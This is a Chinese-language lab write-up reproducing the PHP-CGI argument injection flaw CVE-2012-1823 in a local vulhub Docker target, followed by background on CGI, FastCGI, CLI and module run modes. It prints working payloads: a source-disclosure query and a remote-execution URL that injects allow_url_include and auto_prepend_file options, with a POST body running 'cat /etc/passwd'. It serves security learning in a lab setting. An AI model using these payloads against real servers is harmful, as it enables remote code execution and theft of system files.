漏洞介紹
這個漏洞簡單來說,就是用戶請求的querystring(querystring字面上的意思就是查詢字符串,一般是對http請求所帶的數據進行解析,這里也是只http請求中所帶的數據)
被作為了php-cgi的參數,最終導致了一系列結果。
影響范圍:
漏洞影響版本 php < 5.3.12 or php < 5.4.2
PS:CVE-2012-1823是在php-cgi運行模式下出現的漏洞,其漏洞只出現在以cgi模式運行的php中
復現環境
docker容器環境:kali2020
ip:192.168.117.128:8082(默認為8080,我這里改為8082)
環境開啟過程:
進入/vulhub/php/CVE-2012-1823目錄下
打開終端:
sudo docker-compose up -d
開啟后查看容器信息:
sudo docker ps
進入靶機:在瀏覽器訪問 http://your-ip:8082()
漏洞復現過程
Cgi模式下命令行參數有如下一些參數可用
-c 指定php.ini文件的位置 -n 不要加載php.ini文件 -d 指定配置項 -b 啟動fastcgi進程 -s 顯示文件源碼 -T 執行指定次該文件 -h和-? 顯示幫助
源碼泄露playload:
/index.php?-s
遠程執行playload:
/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a
//input url解碼:(-d allow_url_include=on -d auto_prepend_file=php://input)
//allow_url_include=on 將allow_url_include打開,使得可以文件包含,可以用偽協議
//auto_prepend_file 每次在加載訪問的php文件之前,都訪問php://input(也就是POST中的參數內容
POST: <?php echo shell_exec('cat /etc/passwd');?>
補充知識
1)cgi 通用網關接口(Common Gateway Interface))
CGI即通用網關接口(Common Gateway Interface),它是一段程序, 通俗的講CGI就象是一座橋,把網頁和WEB服務器中的執行程序連接起來,它把HTML接收的指令傳遞給服務器的執行程序,再把服務器執行程序的結果返還給HTML頁。
2) fast-cgi 常駐 (long-live) 型的 CGI 【php-fpm:PHP的FastCGI進程管理器】
fast-cgi 是cgi的升級版本,FastCGI 像是一個常駐 (long-live) 型的 CGI,它可以一直執行着,只要激活后,不會每次都要花費時間去 fork 一次 (這是 CGI 最為人詬病的 fork-and-execute 模式)。
3) cli 命令行運行 (Command Line Interface)
cli是php的命令行運行模式,大家經常會使用它,但是可能並沒有注意到(例如:我們在linux下經常使用 "php -m"查找PHP安裝了那些擴展就是PHP命令行運行模式;有興趣的同學可以輸入php -h去深入研究該運行模式)
4)web模塊模式 (apache等web服務器運行的模塊模式)
模塊模式是以mod_php5模塊的形式集成,此時mod_php5模塊的作用是接收Apache傳遞過來的PHP文件請求,並處理這些請求,然后將處理后的結果返回給Apache。